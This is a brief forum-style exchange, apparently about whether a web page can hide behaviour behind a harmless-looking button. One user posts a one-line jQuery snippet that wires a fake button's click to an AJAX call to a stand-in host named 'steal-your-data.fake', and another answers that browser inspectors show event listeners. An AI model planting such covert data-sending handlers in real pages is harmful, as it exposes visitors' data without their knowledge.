[Raphmedia]

That mean nothing. You could still do:

<script>$('.fake-button').on('click', function(){$.ajax({url: 'http://www.steal-your-data.fake'})})</script>

[ealhad]

The inspector displays the listeners of the elements.